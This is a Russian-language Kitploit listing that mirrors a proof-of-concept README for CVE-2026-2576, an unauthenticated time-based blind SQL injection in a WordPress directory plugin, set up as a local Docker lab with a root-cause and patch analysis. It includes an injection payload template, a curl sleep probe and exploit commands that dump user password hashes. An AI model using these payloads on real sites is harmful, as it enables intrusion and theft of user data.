Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE_2026_2576_PoC — CVE-2026-2576 — SQLi PoC для плагина Business Directory (локальная настройка). Неаутентифицированная time-based blind SQL-инъекция в плагине Business Directory для WordPress ≤ 6.4.21 | Kitploit
Инструменты/GitHubGitHub/sowatkheang/cve_2026_2576_poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubsowatkheang/cve_2026_2576_poc

CVE_2026_2576_PoC

CVE-2026-2576 — SQLi PoC для плагина Business Directory (локальная настройка). Неаутентифицированная time-based blind SQL-инъекция в плагине Business Directory для WordPress ≤ 6.4.21

Репозиторий
2515 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-2576 — PoC SQL-инъекции в плагине Business Directory

Неаутентифицированная time-based слепая SQL-инъекция
Плагин Business Directory для WordPress ≤ 6.4.21


Содержание

  • Обзор уязвимости
  • Технический анализ
  • Требования к лабораторной среде
  • Настройка лабораторной среды
  • Запуск PoC
  • Ожидаемый результат
  • Анализ патча
  • Ссылки
  • Отказ от ответственности

Обзор уязвимости

ПолеДетали
CVECVE-2026-2576
ПлагинBusiness Directory Plugin – Easy Listing Directories for WordPress
Вендорstrategy11team
ЗатронутоВсе версии ≤ 6.4.21
Исправлено6.4.22
ТипTime-based слепая SQL-инъекция (CWE-89)
АутентификацияНе требуется — полностью неаутентифицированная
CVSS7.5 (NVD) / 9.3 (Wordfence)
ВекторCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
НазначенWordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
Раскрыто18 февраля 2026 г.

Плагин Business Directory — широко используемый плагин WordPress для создания каталогов-листингов с поддержкой платежей. Ошибка в его ORM-конструкторе запросов позволяет неаутентифицированному атакующему выполнять time-based слепую SQL-инъекцию через параметр запроса payment, что даёт возможность извлекать содержимое базы данных.


Технический анализ

Корневая причина

Уязвимость находится в ORM-конструкторе запросов:

Файл: includes/db/class-db-query-set.php — filter_args()

root@kitploit:~
private function filter_args( $args ) {
    $filters = array();

    foreach ( $args as $f => $v ) {
        $op = '=';
        // ...

        if ( is_array( $v ) ) {
            // ❌ УЯЗВИМО — нет санитизации, прямое склеивание строк
            $filters[] = "$f IN ('" . implode( "','", $v ) . "')";
        } else {
            // ✓ Безопасно — используется $wpdb->prepare()
            $filters[] = $this->db->prepare( "$f $op %s", $v );
        }
    }

    return $filters;
}

Когда $v — скаляр, код корректно использует $wpdb->prepare(). Когда $v — массив, он попадает в небезопасную ветку и склеивает значения напрямую в SQL-строку без экранирования.

Триггер

Контроллер оформления заказа (includes/controllers/pages/class-checkout.php) считывает параметр запроса payment и передаёт его в ORM:

root@kitploit:~
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
    $this->payment = WPBDP_Payment::objects()->get(
        array( 'payment_key' => $payment_id )  // $payment_id передаётся как значение
    );
}

PHP автоматически преобразует payment[]=value в строке запроса в массив $_GET['payment'] = ['value']. Это заставляет $v быть массивом в filter_args(), что приводит к попаданию в небезопасную ветку.

Поток инъекции

root@kitploit:~
GET /?page_id=4&wpbdp_view=checkout&payment[]=<payload>

  PHP: $_REQUEST['payment'] = ['<payload>']   ← массив из-за нотации []
                    |
                    v
  class-checkout.php: fetch_payment()
                    |
                    v
  WPBDP_Payment::objects()->get(['payment_key' => ['<payload>']])
                    |
                    v
  class-db-query-set.php: filter_args()
      => is_array($v) == TRUE → небезопасная ветка
      => "$f IN ('" . implode("','", $v) . "')"
                    |
                    v
  MySQL: SELECT * FROM wp_wpbdp_payments
         WHERE payment_key IN ('<payload>')

Полезная нагрузка инъекции

root@kitploit:~
payment[]=<key>') AND IF((<condition>),SLEEP(N),0)-- -

Сгенерированный SQL:

root@kitploit:~
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<key>') AND IF((<condition>),SLEEP(N),0)-- -')

-- - закомментировывает завершающие '). IF() создаёт булев оракул: когда условие ИСТИННО, срабатывает SLEEP(N) и ответ задерживается; когда ЛОЖНО — ответ приходит немедленно.

Примечание: ORM выполняет запрос дважды за запрос (один раз в get(), один раз в maybe_execute_query()), поэтому полезная нагрузка SLEEP(1) даёт ~2 секунды наблюдаемой задержки, а SLEEP(2) — ~4 секунды.

Влияние

Неаутентифицированный атакующий может извлекать содержимое базы данных посимвольно через time-based ответы, включая:

  • Таблицу пользователей WordPress (wp_users), имена пользователей, адреса электронной почты, хэши паролей
  • Платёжные записи плагина, данные транзакций, данные владельцев листингов
  • Любые другие таблицы, доступные пользователю БД

Патч

Исправление в версии 6.4.22 добавляет санитизацию в ветку массива filter_args():

root@kitploit:~
// ДО (уязвимо)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";

// ПОСЛЕ (исправлено)
$escaped   = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";

Требования к лабораторной среде

  • Docker + Docker Compose (v2)
  • Python 3.9+
  • Kali Linux или любой Linux-хост
  • Доступ в интернет (для загрузки Docker-образов и скачивания плагина)

Установка зависимостей Python:

root@kitploit:~
pip3 install requests colorama --break-system-packages

Настройка лабораторной среды

Шаг 1: Клонируйте или создайте каталог лаборатории

root@kitploit:~
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini

Шаг 2: Запустите полный стек

root@kitploit:~
cd cve-2026-2576-lab
docker compose up -d --build

Шаг 3: Запустите установщик и дождитесь завершения

root@kitploit:~
docker compose up setup

Дождитесь появления:

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║           Настройка лаборатории завершена!               ║
╠══════════════════════════════════════════════════════════╣
║  WordPress:   http://localhost:8080                      ║
║  WP Admin:    http://localhost:8080/wp-admin             ║
║  phpMyAdmin:  http://localhost:8082                      ║
╠══════════════════════════════════════════════════════════╣
║  admin / admin123                                        ║
║  victim / victimpass123                                  ║
╠══════════════════════════════════════════════════════════╣
║  Плагин: 6.4.21 (УЯЗВИМАЯ ВЕРСИЯ)                       ║
║  ID страницы BD: 4                                       ║
╚══════════════════════════════════════════════════════════╝

Шаг 4: Подтвердите уязвимую версию плагина

root@kitploit:~
docker exec lab_wordpress bash -c \
  "grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
  | head -1"
# Ожидаемо: * Version: 6.4.21

Шаг 5: Получите реальный payment_key из базы данных

root@kitploit:~
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
root@kitploit:~
+----+--------------+---------+
| id | payment_key  | status  |
+----+--------------+---------+
|  1 | seed-pay-001 | pending |
+----+--------------+---------+

Шаг 6: Запустите phpMyAdmin (необязательно, для просмотра БД)

root@kitploit:~
docker compose up -d pma
# Доступ по адресу http://localhost:8082  (root / rootpass)

Запуск PoC

Все команды выполняются из корневого каталога лаборатории на вашем Kali-хосте. Используйте http://localhost:8080 (проброс портов хост → Docker). payment_key должен соответствовать существующей строке в wp_wpbdp_payments.

Обнаружение: подтвердите наличие инъекции

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect

Ожидаемо: INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 выполнения ORM)

Alt text

Извлечение: имя базы данных, версия, пользователь

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

Alt text

Список: все таблицы в базе данных

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables

Дамп: таблица пользователей WordPress (хэши паролей)

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users

Дамп: пользовательская таблица (секретные данные)

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets

Извлечение пользовательского SQL-выражения

root@kitploit:~
python3 poc/poc.py --target http://localhost:8080 --page-id 4  --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"  

Настройка скорости

ФлагПо умолчаниюПримечания
--sleep N1SLEEP(N) на оракул. ИСТИНА ≈ N×2s. Меньше = быстрее, но шумнее
--threads N4Параллельные позиции символов. 8 хорошо работает на современном оборудовании
root@kitploit:~
# Самое быстрое извлечение
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8

Ручная проверка через curl

root@kitploit:~
# Базовый уровень: должен вернуться за < 0.1s
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"

# Sleep-проба: должен вернуться за ~4s (SLEEP(2) × 2 выполнения)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")" 


Анализ патча

Чтобы сравнить уязвимую версию с исправленной:

root@kitploit:~
python3 poc/patch_diff.py 

# Для полного сравнения
python3 poc/patch_diff.py --full
  • Или ручное скачивание
root@kitploit:~
# Скачайте обе версии
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422

# Сравните уязвимый файл
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php

Сравнение покажет добавление esc_sql() в ветку массива в filter_args().


Управление лабораторией

root@kitploit:~
# Остановить лабораторию (сохраняет данные)
docker compose stop

# Перезапустить
docker compose start

# Полный снос — уничтожает все тома и данные
docker compose down -v

# Повторный запуск настройки с нуля
docker compose down -v && docker compose up setup

# Войти в контейнер WordPress
docker exec -it lab_wordpress bash

# Просмотр журнала ошибок PHP WordPress
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log

# Наблюдение за журналом запросов MySQL в реальном времени
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"

docker exec lab_mysql tail -f /tmp/mysql.log

Ссылки

  • Уведомление Wordfence — https://www.wordfence.com/threat-intel/vulnerabilities/id/d8ec7d25-1574-416c-b5fd-3a71b1cc09d2
  • Запись NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-2576
  • Страница плагина WordPress — https://wordpress.org/plugins/business-directory-plugin/
  • SVN плагина WordPress — https://plugins.svn.wordpress.org/business-directory-plugin/
  • OWASP: SQL-инъекции — https://owasp.org/www-community/attacks/SQL_Injection
  • CWE-89 — https://cwe.mitre.org/data/definitions/89.html
  • Документация WordPress $wpdb->prepare() — https://developer.wordpress.org/reference/classes/wpdb/prepare/

Отказ от ответственности

Этот репозиторий предназначен только для авторизованных исследований в области безопасности и образовательных целей. Все тесты проводились в изолированной локальной лабораторной среде. Никогда не запускайте этот инструмент против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Несанкционированный доступ к компьютерным системам является незаконным в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичными законами в других юрисдикциях.

Автор не несёт ответственности за неправомерное использование этого материала. Всегда следуйте практике ответственного раскрытия — если вы обнаружите новые результаты на основе этого исследования, скоординируйте действия с вендором перед публикацией.


Исследовано и разработано в изолированной Docker-лаборатории на Kali Linux.

Скачать инструмент